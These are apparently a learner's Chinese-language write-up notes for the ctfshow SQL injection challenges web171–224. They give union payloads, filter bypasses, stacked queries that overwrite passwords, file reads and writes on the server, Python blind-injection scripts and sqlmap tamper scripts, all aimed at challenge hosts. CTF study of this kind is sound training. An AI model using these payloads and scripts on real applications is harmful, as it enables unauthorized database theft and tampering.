ctfshow_web入門 sql注入(web171~248)


sql注入

這是算是學習+做題+記錄的一個筆記吧,而且基本都是看着Y4師傅的博客做的

由於是做過sqli靶場,所以這個就記錄快點了。如果靶場沒遇到的,也會做筆記。

union 聯合注入

web171

首先嘗試1'--+,發現有返回值;說明直接閉合正確;

接着找用來輸出的列:1' order by 3--+,發現一共有3行(就1,2,3,4,5慢慢試出來)

查看數據庫:1' union select 1,2,database()--+得到數據庫名為ctfshow_web

爆破表名:-1' union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schecma=database()--+得到表名:ctfshow_user

爆破列名:1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+,得到列名:id,username,password

爆破信息:1' union select 1,2,group_concat(id,username,password) FROM ctfshow_user--+,得到信息:1adminadmin,2user1111,3user2222,4userAUTOpasswordAUTO,5userAUTOpasswordAUTO,6userAUTOpasswordAUTO,7userAUTOpasswordAUTO,8userAUTOpasswordAUTO,9userAUTOpasswordAUTO,10userAUTOpasswordAUTO,11userAUTOpasswordAUTO,12userAUTOpasswordAUTO,13userAUTOpasswordAUTO,14userAUTOpasswordAUTO,15userAUTOpasswordAUTO,16userAUTOpasswordAUTO,17userAUTOpasswordAUTO,18userAUTOpasswordAUTO,19userAUTOpasswordAUTO,20userAUTOpasswordAUTO,21userAUTOpasswordAUTO,22userAUTOpasswordAUTO,23userAUTOpasswordAUTO,24userAUTOpasswordAUTO,26flagctfshow{ce006303-26f7-473b-864d-3055a602ef42}

拿到flag。

整理一下:

爆出有哪些位置可以進行輸出數據
1' order by 3--+
查看數據庫名字
1' union select 1,2,database()--+
爆破表名:
-1' union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schema=database()--+
爆破列名:
1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+
爆破數據:
1' union select 1,2,group_concat(id,username,password) FROM ctfshow_user--+

有一個問題就是,這里用的是1而不是-1,居然能夠爆出信息。可能是這里沒有限定輸出數據的量,所以能夠用1,而不是用-1。

由於是第一題,所以就寫的比較多

web 172

這題將ctfshow_user修改為了ctfshow_user2

爆破表名
-1' union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schema=database()--+
爆破列名
-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user2'--+
爆破flag
-1' union select 1,2,group_concat(password) FROM ctfshow_user2 where username='flag'--+

發現一個東西:是不是說明:我將最外層的引號給閉合了,那么就相當於將內部的包含完了;

本題,如果我只是傳入一個',那么"會被當做數據

image-20210810132547958

web 173

image-20210810132525808

思路一:對查詢數據做限定,因為已經知道了,在密碼一欄中沒有flag,就如同172最后

1' union select 1,2,group_concat('+',password) from ctfshow_user3 where username='flag'--+

思路2:編碼繞過,base64,hex

1' union select 1,2,to_base64(password) from ctfshow_user3 where username='flag'--+
-1' union select 1,to_base64(username),hex(password) from ctfshow_user3 --+

web 174

方法一:

替換:將數據to_base64加密,然后將里面所有的數字用replace()替換

替換方式:1 testa,2 testb 3 testc等等

-1' union select  replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),2,'testb') ,3,'testc') ,4,'testd') ,5,'teste') ,6,'testf') ,7,'testg') ,8,'testh') ,9,'testi') ,0,'testj') ,1,'testa'),replace(1,'1','testa') from ctfshow_user4 where username='flag'--+

得到base64加密切被替換了的flag

最后解碼得到flag

image-20210810160944925

web 175

將數據輸出到一個文件中,然后訪問對應文件

-1' union select  username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+

使用into outfile '/var/www/html/'將信息輸入到文件中去

過濾

web 176

過濾了select,通過大小寫即可繞過

1'union sElect 1,2,group_concat(password) from ctfshow_user--+

解法二

萬能密碼:

1' or 1=1--+

最后一行是flag

web 177——/**/繞過空格

不知道為啥/**/在后面用不來了

解法一:萬能密碼

1'or/**/1=1%23

解法二:正常查詢

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

web 178——%090a0b0c0d繞空格*

因為已經過濾了*,那么就需要用其它字符來繞過空格,可以選擇

%09 tab%0a%0b%0c%0d 
1'union%09select%0a1,2,password%0bfrom%0cctfshow_user%23

萬能密碼

1'or%0a1=1%231’or'1'='1'%23

web 179

可以萬能密碼

%09 %0a %0b %0d過濾了,可以用%0c

把上面的那個全換成%0c

web180-182

1'and(id=26)or'1'='1

web 183

對我來說的新姿勢:利用正則表達式進行條件限定,就類似where username='flag'

image-20210813105557448

tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('a'))

ctfshow_user是表名
pass是列名
``是為了區分表名的

這里用SQL注入靶場的數據做一個演示,以便理解表名列名

image-20210813150829791

只要看得見返回值,是幾,就能夠說明注入是注入成功了的

然后這里通過盲注來進行解題;

import requests
import re

url="http://164b9526-57c3-4978-bdd6-ad76fae3cfc7.challenge.ctf.show:8080/select-waf.php"
str="abcdefghijklmnopqrstuvwxyz-1234567890{}"
re=""
print(123)
for i in range(1,46):
    for j in str:
        data={
          'tableName':f"`ctfshow_user`where(substr(`pass`,{i},1)regexp('{j}'))"
        }
        r=requests.post(url=url,data=data).text
        if r.find(" $user_count = 1;")>0:
            re=re+j
            print(re)
            break           

web 184

過濾了:' " 反引號,用right join繞過過濾

tableName=`ctfshow_user` as a right join ctfshow_user as b on substr(b.pass,1,1)regexp(char(46))

RIGHT JOIN 關鍵字從右表(table2)返回所有的行,即使左表(table1)中沒有匹配。如果左表中沒有匹配,則結果為 NULL。

[right join菜鳥教程](SQL RIGHT JOIN 關鍵字 | 菜鳥教程 (runoob.com))

這里是分別將ctfshow_uer重命名為a和b,接着在b中進行篩選,然后用right join將b中篩選出來的值與a表的值進行匹配。

有一點奇怪的問題,就是說,在進行測試的時候,得到 $user_count = 22;作為篩選條件,但是實際上用代碼跑flag的時候,卻是用 $user_count = 43;作為篩選條件。

同樣,跑出來的flag也有點問題,簡單說就是我沒做出來。

貼一個Y4tacker師傅的代碼

# @Author:Y4tacker
import requests

url = "http://f15ac2ca-94b7-4257-a52a-00e52ecee805.chall.ctf.show/select-waf.php"

flag = 'flag{'
for i in range(45):
    if i <= 5:
        continue
    for  j in range(127):
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
        }
        r = requests.post(url,data=data)
        if r.text.find("$user_count = 43;")>0:
            if chr(j) != ".":
                flag += chr(j)
                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break

web 185

image-20210813215236660

這個是web184,然后將數字改成true相加即可

還是會遇到一些很奇怪的問題;例如,跑代碼時上傳的talbeName能用,但是到網頁端提交就不管用;又例如,flag開頭應該是ctfshow,但是跑代碼跑出來卻是111ihw,實在有點不知道為什么。

這里貼一個代碼,依舊是看着Y4大佬的代碼改的,這里也將tableName的值輸出來了,不過改了之后有點不穩定

import requests

url='http://c4f5a4c4-3c68-4fb8-bcc8-15efab77d141.challenge.ctf.show:8080/select-waf.php'
flag = ''
def Num(n):
    num=''
    for i in range(n):
        num=num+'true+'
    num=num[:-1]
    return num

for i in range(50):
    for j in range(0,128):
        data={
            'tableName':f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{Num(i)},{Num(1)}) regexp(char({Num(j)})))"
        }
        r=requests.post(url=url,data=data)
        if r.text.find("$user_count = 43;")>0:
            if chr(j)!='.':
                flag+=chr(j)
                print(flag.lower())
                print(str(i)+':'+str(j)+':')
                print(data)
                break

web 186

同web185

登錄類——特性

web 187

用戶名:admin,密碼:ffifdyop

image-20210814175145788

題目中 $password = md5($_POST['password'],true);

說明$password是將$_POST['password']進行md5加密,再將加密字符串進行編碼的結果

image-20210814172608305

image-20210814175454281

編碼后正好有'or'6繞過了密碼判斷

web 188

payload是:username=0 password=0

原因是:

在比較查詢的時候,查詢語句為:select pass from ctfshow_user where username = 0 and password = 0;,由於username password是字符串,弱比較成了0,0=0成立,所條件就成立了;最后查詢語句就成了:select pass from ctfshow_user where 1;

image-20210816172905841

image-20210816174302833

web 189

首先找到flag的位置,接着再對flag進行盲注,這個題,是在web 188的基礎上進行的修改

import requests

url = "http://8cccbace-cc29-4542-a78d-b0f3261ed4f5.challenge.ctf.show:8080/api/"

def getflagPosition():#返回flag的位置
    head=1
    tail=300
    while head<tail:
        mid=(head+tail)>>1
        data={
            'username': "if(locate('ctfshow{',"+ "load_file('/var/www/html/api/index.php'))>{0},0,1)".format(str(mid)),
            'password':'0'
        }
       
        r = requests.post(url=url,data=data)
        if "密碼錯誤" == r.json()['msg']:
            head = mid + 1
        else:
            tail = mid
    return mid

    
def getFlag(num):#對flag進行盲注
    i = int(num)
    result = ""
    while 1:
        head = 32
        tail = 127
        i = i + 1
        while head < tail:
            mid = (head + tail) >> 1
            data = {
                'username': "if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)".format(str(i), str(mid)),
                'password': '1'
            }
            r = requests.post(url=url,data=data)
            if "密碼錯誤" == r.json()['msg']:
                head = mid + 1
            else:
                tail = mid
            mid += 1
        if head != 32:
            result += chr(head)
            print(result)
        else:
            break

if __name__ == '__main__':
    index=getflagPosition()
    getFlag(index)

用來盲注的語句為:

找尋flag位置
if(locate('ctfshow{',load_file('/var/www/html/api/index.php'))>{0},0,1)
盲注flag
if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)

布爾盲注

web 190

正常的布爾盲注

import requests

url="http://16037a96-087c-444f-99d8-faa8a2e0d99f.challenge.ctf.show:8080/api/"
i=0
re=""

while 1:
    i=i+1
    head=32
    tail=127
    
    while head < tail:#用二分法查找
        mid=(head+tail)>>1
        
        # "admin' and ord(substr(select database(),1,1))={0}".formate(str(i)) %23
        # 查詢數據庫
        # payload="select database()"
        # 查表名
        # payload="select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"
        # 查列名
        # payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
        # 查數據
        payload="select group_concat(f1ag) from ctfshow_fl0g"
       
        data={
            'username':f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,0)='1'#",
            # 'username':f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)='1",   #是Y4師傅的寫法
            'password':1
        }
        r=requests.post(url=url,data=data)
        if "密碼錯誤" == r.json()['msg']:
            head=mid+1
        else:
            tail=mid

    if head != 32:
        re += chr(head)
    else:
        break
    print(re)

web 191

用上面的代碼,將url改一下就行,因為過濾了ascii函數 ,但是我們使用的是ord

因為看到了191中過濾有file into,所以是不是190中可以直接寫入木馬呢?

web 192

過濾了file|into|ascii|ord|hex,可以使用正則表達式

import requests

url="http://5c330f64-963e-477f-82b7-25a901b41341.challenge.ctf.show:8080/api/"
flagstr="_{-}1234567890abcdefghijklmnopqrstuvwxyz"

re=""
flag=""

for i in range(45):
    for j in flagstr:
        payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)regexp('{j}'),1,2)='1"
        data = {
            'username': payload,
            'password': '1'
        }
        r = requests.post(url, data=data)
        if "密碼錯誤" == r.json()['msg']:
            flag += j
            print(flag)

web 193

過濾了file|into|ascii|ord|hex|substr,substr沒了,可以用left() right(),其實也可以用mid(),這里將數據庫名字給改了,和192的不一樣,需要重新構造一個用來查詢的語句。

import requests

url="http://df755a50-9318-495a-9788-1c5c721b44e2.challenge.ctf.show:8080/api/"
flagstr="abcdefghijklmnopqrstuvwxyz1234567890_{-} ,"

flag="ctf"

for i in range(3,45):
    for j in flagstr:
        change=flag+j
        payload = f"admin' and if(left((select group_concat(f1ag)from ctfshow_flxg),{i})regexp('{change}'),1,0)=1#"
        #payload = f"admin' and if((select group_concat(f1ag)from ctfshow_flxg)regexp('{change}'),1,0)=1#"
        #第二個payload沒有使用截斷字符串的函數,直接使用regexp進行的匹配
        data = {
            'username': payload,
            'password': '1'
        }
        r = requests.post(url, data=data)
        if "密碼錯誤" == r.json()['msg']:
            flag += j
            print(flag)
            break
        print(payload)

看了Y4師傅的代碼,驚訝的發現,居然可以將payload的left給去掉,可以直接正則匹配,不過需要起一個'ctfshow{'的頭就行就行。Y4大佬的做法是,將{放到了flagstr的前邊,太頂了!太頂了!實在是太頂了!

想一想,還是Y4大佬的做法比較嚴謹,以{開頭的話,就不用考慮flag的前綴是啥了

# @Author:Y4tacker
import requests
import string

url = "http://df755a50-9318-495a-9788-1c5c721b44e2.challenge.ctf.show:8080/api/"
flagstr="{}-" + string.ascii_lowercase + string.digits
flag = ''

for i in range(1,45):
    for j in flagstr:
        change=flag+j
        payload = f"admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('{change}'),1,2)='1"
        data = {
            'username': payload,
            'password': '1'
        }
        r = requests.post(url, data=data)
        if "密碼錯誤" == r.json()['msg']:
            flag += j
            print(flag)
            if "}" == j:
                exit(0)
            break

web 194

過濾了file|into|ascii|ord|hex|substr|char|left|right|substring,可以用mid

web193已經說過了,可以直接使用regexp來進行匹配,不需要截斷字符比較,所以可以直接白嫖一web193的代碼

不過,還是看看Y4大佬的代碼,多學習學習的好~

貼一個Y4大佬的寧一種思路

# @Author:Y4tacker
import requests
# 應該還可以用instr等函數,LOCATE、POSITION、INSTR、FIND_IN_SET、IN、LIKE
url = "http://dee436de-268a-408e-b66a-88b4c972e5f5.chall.ctf.show/api/"
final = ""
stttr = "flag{}-_1234567890qwertyuiopsdhjkzxcvbnm"
for i in range(1,45):
    for j in stttr:
        final += j
        # 查表名-ctfshow_flxg
        # payload = f"admin' and if(locate('{final}',(select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,1,2)='1"
        # 查字段-f1ag
        # payload = f"admin' and if(locate('{final}',(select column_name from information_schema.columns where table_name='ctfshow_flxg' limit 1,1))=1,1,2)='1"
        payload = f"admin' and if(locate('{final}',(select f1ag from ctfshow_flxg limit 0,1))=1,1,2)='1"
        data = {
            'username': payload,
            'password': '1'
        }
        r = requests.post(url,data=data)
        if "密碼錯誤" == r.json()['msg']:
            print(final)
        else:
            final = final[:-1]

locate:返回要找的str1在str2中的位置;這里依舊是以ctfshow{開頭的

堆疊

web 195

利用堆疊注入:

username=0;update`ctfshow_user`set`pass`=111;password=111提交兩側

Y4大佬做法如下

payload="0x61646d696e;update`ctfshow_user`set`pass`=0x313131;"
# 至於為什么非得用十六進制登錄,是因為下面這個沒有字符串單引號包圍
sql = "select pass from ctfshow_user where username = {$username};";

但是我還是理解不了這個包圍,沒懂題目背后的邏輯,

只是這里用0恰好能夠繞過

web 196

真的不懂邏輯

username=1;select(2)
password=2

web 199

username=1;show tables;
password=ctfshow_user

看樣子,像是在先查詢了username=1的數據,查詢數據庫名;同時,由於username=1沒有數據,就返回了tables的信息,接着同password進行比較;

web 190~200

image-20210818190135596

Y4大佬真的牛批!!!

sqlmap

web 201_初步-referer

真貼心,還有sqlmap專欄粉了粉了

SQLmap使用順序:

  1. 獲取當前MySQL中的所有數據庫sqlmap -u http://xxx
  2. 獲取當前數據庫名字
  3. 獲取數據庫下的數據表
  4. 獲取表下的列名
  5. 導出數據

image-20210818204806101

要添加一個referer頭

查數據庫:python sqlmap.py -u <url> --referer="ctf.show" -dbs

image-20210818220908431

查表名:python sqlmap.py -u <url> --referer="ctf.show" -D ctfshow_web -tables

image-20210818221102525

查列名:python sqlmap.py -u <url> --referer="ctf.show" -D ctfshow_web -T ctfshow_user -columns

image-20210818221217722

查flag:python sqlmap.py -u <url> --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C "id,pass,username" -dump

image-20210818221406927

web 202_post

使用post方式進行注入,可以直接用--data="id=1",也可以--method=post來觸發

image-20210818222556160

python sqlmap.py -u http://8700ae20-40d8-4efb-afb1-292bf4a4e95f.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1"

python sqlmap.py -u http://8700ae20-40d8-4efb-afb1-292bf4a4e95f.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" -dbs

python sqlmap.py -u http://8700ae20-40d8-4efb-afb1-292bf4a4e95f.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" -D ctfshow_web -columns

python sqlmap.py -u http://8700ae20-40d8-4efb-afb1-292bf4a4e95f.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" -D ctfshow_web -C "pass" -dump

web 203_PUT

指定--method=PUT方法,同時加上-headers="Content-Type:text/plain,否則put接受不了。同時,要加上index.php,url/api/index.php

python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" --dbs

python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web --tables

python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web -Tctfshow_user -columns

python sqlmap.py -u http://6837fe82-c4cc-40ec-9804-27f49ab108e4.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web -Tctfshow_user -C pass -dump
sqlmap.py -u http://baab06b2-ebd9-4d00-a361-327d08a8d941.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --dbms=mysql dbs=ctfshow_web -T ctfshow_user -C pass --dump --headers="Content-Type: text/plain" --cookie="PHPSESSID=8fp1h4ctsl04cuo5o8kt61albs;"

python sqlmap.py -u http://baab06b2-ebd9-4d00-a361-327d08a8d941.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" --cookie="PHPSESSID=ktbtej5u2bkmq7s4ujc9ivtcgs;" -D ctfshow_web -Tctfshow_user -C pass -dump

web 205_權限

--safe-url 設置在測試目標地址前訪問的安全鏈接--safe-freq 設置兩次注入測試前訪問安全鏈接的次數

通過F12中network抓包可以看見,有一個getToken.php的請求token的動作;

image-20210818234255677

所以paylaod:

python sqlmap.py -u http://f56ece06-fd88-46fe-a578-43e029d75c7c.challenge.ctf.show:8080/api/index.php --method=PUT --referer=ctf.show --headers="Content-Type:text/plain" --data="id=1" --safe-url="http://f56ece06-fd88-46fe-a578-43e029d75c7c.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -dbs

一把梭:
python sqlmap.py -u http://f56ece06-fd88-46fe-a578-43e029d75c7c.challenge.ctf.show:8080/api/index.php --method=PUT --referer=ctf.show --headers="Content-Type:text/plain" --data="id=1" --cookie="PHPSESSID=sr49lqf1knjier6f32gospa24d;" --safe-url="http://f56ece06-fd88-46fe-a578-43e029d75c7c.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx -dump

web 206_閉合

因為sqlmap會自動閉合,所以直接注入就行

python sqlmap.py -u http://9315ffaf-c261-4f80-8b9b-641af3624542.challenge.ctf.show:8080/api/index.php --method=PUT --headers="Content-Type:text/plain" --data="id=1" --referer="ctf.show" --cookie="PHPSESSID=0nrrogf729lhqfjet1m8n0fo1o;" --safe-url="http://9315ffaf-c261-4f80-8b9b-641af3624542.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -dbms="mysql" -dbs

一把梭:
python sqlmap.py -u http://9315ffaf-c261-4f80-8b9b-641af3624542.challenge.ctf.show:8080/api/index.php --method=PUT --headers="Content-Type:text/plain" --data="id=1" --referer="ctf.show" --cookie="PHPSESSID=0nrrogf729lhqfjet1m8n0fo1o;" --safe-url="http://9315ffaf-c261-4f80-8b9b-641af3624542.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -dbms="mysql" -D ctfshow_web -T ctfshow_flaxc -C flagv -dump

web 207~208 tamper繞過空格

開始編寫tamper,用來繞過waf的腳本

看Y4大佬博客學習Sqlmap Tamper 編寫

#!/usr/bin/env python"""Author:Y4tacker"""from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef tamper(payload, **kwargs):    payload = space2comment(payload)    return payloaddef space2comment(payload):    retVal = payload    if payload:        retVal = ""        quote, doublequote, firstspace = False, False, False        for i in xrange(len(payload)):            if not firstspace:                if payload[i].isspace():                    firstspace = True                    retVal += chr(0x0a)                    continue            elif payload[i] == '\'':                quote = not quote            elif payload[i] == '"':                doublequote = not doublequote            elif payload[i] == " " and not doublequote and not quote:                retVal += chr(0x0a)                continue            retVal += payload[i]    return retVal
sqlmap.py -u "url/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="url/api/getToken.php" --safe-freq=1 --dbms=mysql --current-db --dump --batch --prefix="')" --tamper=space2comment

web 209

python sqlmap.py -u http://504f082d-bfee-4007-a848-61ebbf4877aa.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --cookie="PHPSESSID=h17vp69eprsjevq8si5ij7nr32;" --safe-url="http://504f082d-bfee-4007-a848-61ebbf4877aa.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web209 --referer="ctf.show"

一把梭:
python sqlmap.py -u http://504f082d-bfee-4007-a848-61ebbf4877aa.challenge.ctf.show:8080/api/index.php --method=PUT --headers="Content-Type:text/plain" --data="id=1" --referer="ctf.show" --cookie="PHPSESSID:h17vp69eprsjevq8si5ij7nr32;" --safe-url="http://504f082d-bfee-4007-a848-61ebbf4877aa.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web209 -dbms mysql -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx -dump
#!/usr/bin/env python
"""
Author:Y4tacker
"""


from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    payload = space2comment(payload)
    return payload


def space2comment(payload):
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

web 210-212 tamper 加密解密

web 210
python sqlmap.py -u http://2109fedd-1d08-4aa8-a133-7558def3098d.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --cookie="PHPSESSID=28l0l2i3o3pqomglnai3bukdk7;" --safe-url="http://2109fedd-1d08-4aa8-a133-7558def3098d.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web210 --referer="ctf.show"
web 211
python sqlmap.py -u http://ba7627ab-1729-41f3-ab5c-5d23b4e81ea9.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --cookie="PHPSESSID=1l29h3j38np2o554gj7rpmg8n6;" --safe-url="http://ba7627ab-1729-41f3-ab5c-5d23b4e81ea9.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web210 --referer="ctf.show"
web 212
python sqlmap.py -u http://257cef67-eece-425c-8a82-106e0c64ed58.challenge.ctf.show:8080/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --cookie="PHPSESSID=c59hcfrneei39mptm9a7qjr7k5;" --safe-url="http://257cef67-eece-425c-8a82-106e0c64ed58.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web210 --referer="ctf.show" -dbs
#!/usr/bin/env python
"""
Author:Y4tacker
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    payload = space2comment(payload)
    retVal = ""
    if payload:
        retVal = base64.b64encode(payload[::-1].encode('utf-8'))
        retVal = base64.b64encode(retVal[::-1]).decode('utf-8')
    return retVal

def space2comment(payload):
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == "*":
                retVal += chr(0x31)
                continue

            elif payload[i] == "=":
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

時間盲注

web 214

"""
Author:Y4tacker
"""
import requests

url = "http://d23ee9e9-3e43-4b0a-b172-547561ea456d.chall.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查數據庫
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        # 查數據
        payload = "select flaga from ctfshow_flagx"
        data = {
            'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

Y4大佬這里用的是二分法來做這個,異常語句是用來判斷if條件的,如果sleep(1)了,就會觸發超時錯誤(設置了超時時間為1),於是就進入exception了。簡單來說就是,用來掐head和tail來縮小范圍。

如過用=來進行判斷,就需要用暴力算法,一個一個試了。

web 215

import requests

url="http://42a6af71-6cae-4326-83a8-28b901d3d1e1.challenge.ctf.show:8080/api/index.php"

result=""
i=0

while True:
    i=i+1
    head=32
    tail=127

    while head < tail:
        mid = (head + tail) >> 1
        # 查表名
        # payload=" select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查表名
        # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'"
        # 查數據
        payload = "select flagaa from ctfshow_flagxc"
        data = {
            'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},1,sleep(1)) and '1'='1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            head = mid + 1
            print('[+]:'+data['ip'])
        except Exception as e:
            tail = mid
            print('[-]:'+data['ip'])
        

    if head!=32:
        result += chr(head)
    else:
        break
    print(result)
    print('[*]:'+data['ip'])

web 216

時間盲注過濾了sleep,其它時間盲注方式

image-20210821190843466

import requests
import time

url="http://52500ec9-c070-4a05-b13a-a8a231ff2ff5.challenge.ctf.show:8080/api/index.php"

result=""
i=0

while True:
    i=i+1

    # if i==9:#可以通過i的設置,來一段一段跑
    #     eixt(0)# flag越靠后,越不准

    head=32
    tail=127

    while head < tail:
        mid = (head + tail) >> 1
        # 查表名
        # payload=" select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查表名
        # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxccb'"
        # 查數據
        payload = "select flagaabc from ctfshow_flagxccb"
        data = {
            'ip': f"1) or if (ascii(substr(({payload}),{i},1))>{mid},1,BENCHMARK(1000000,md5('a'))",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=0.33)
            time.sleep(1)
            head = mid + 1
            print('[+]:'+data['ip'])
        except Exception as e:
            time.sleep(1)
            tail = mid
            print('[-]:'+data['ip'])
        

    if head!=32:
        result += chr(head)
    else:
        break
    print(result)
    print('[*]:'+data['ip'])
ctfshow{25e3e6c2-1412-4995-a5ctfmhow{25e1e6c2+1412-4995-a553-aee9b8b380b1}

最好還是去看一下Y4大佬的博客

web 221

考察的是limit后面的注入

可以利用 procedure analyse()通過extractvalue進行注入

"""
Author:Y4tacker
"""
# http://196cf3fd-f920-4018-a714-662ad61571e9.chall.ctf.show/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)

# https://www.jb51.net/article/99980.htm

額,flag居然就是 ctfshow_web-flag_x

image-20210822001646355

web 222

group by后面的注入:group by注入原理

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time

url = "http://9a446c1a-4acd-4873-a290-53b36046a7b9.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"

flag = ""
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
#查表
# sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段
# sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#查flag
sql= "select flagaabc from ctfshow_flaga"
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
payload = "concat(if(substr(({}),{},1)='{}',sleep(0.10),0),1)"

#concat(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.10),0),1)

n = 0

for i in range(0, 666):
    for j in str:
        params = {
            'u' : payload.format(sql,i,j)
        }

        start = time.time()
        res = requests.get(url = url, params = params)
        end = time.time()
        if end - start > 2 and end - start < 3:
            flag += j
            n += 1
            print(' 開始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print(' flag is {}'.format(flag))
                exit()
            break

這個代碼的sleep時間掐得很好,基本不用再跑第二次

web 223

ban了數字,用true代替

web 224——奇怪的文件上傳

先掃描到有一個robots.txt文件,接着訪問提示的地址(一個設置密碼的界面),設置好密碼值守,就能夠登陸;結果是一個上傳文件的操作。。。。

穎奇大佬的博客中提到了這一個題(CTFshow 36D Web Writeup – 穎奇L'Amore (gem-love.com))

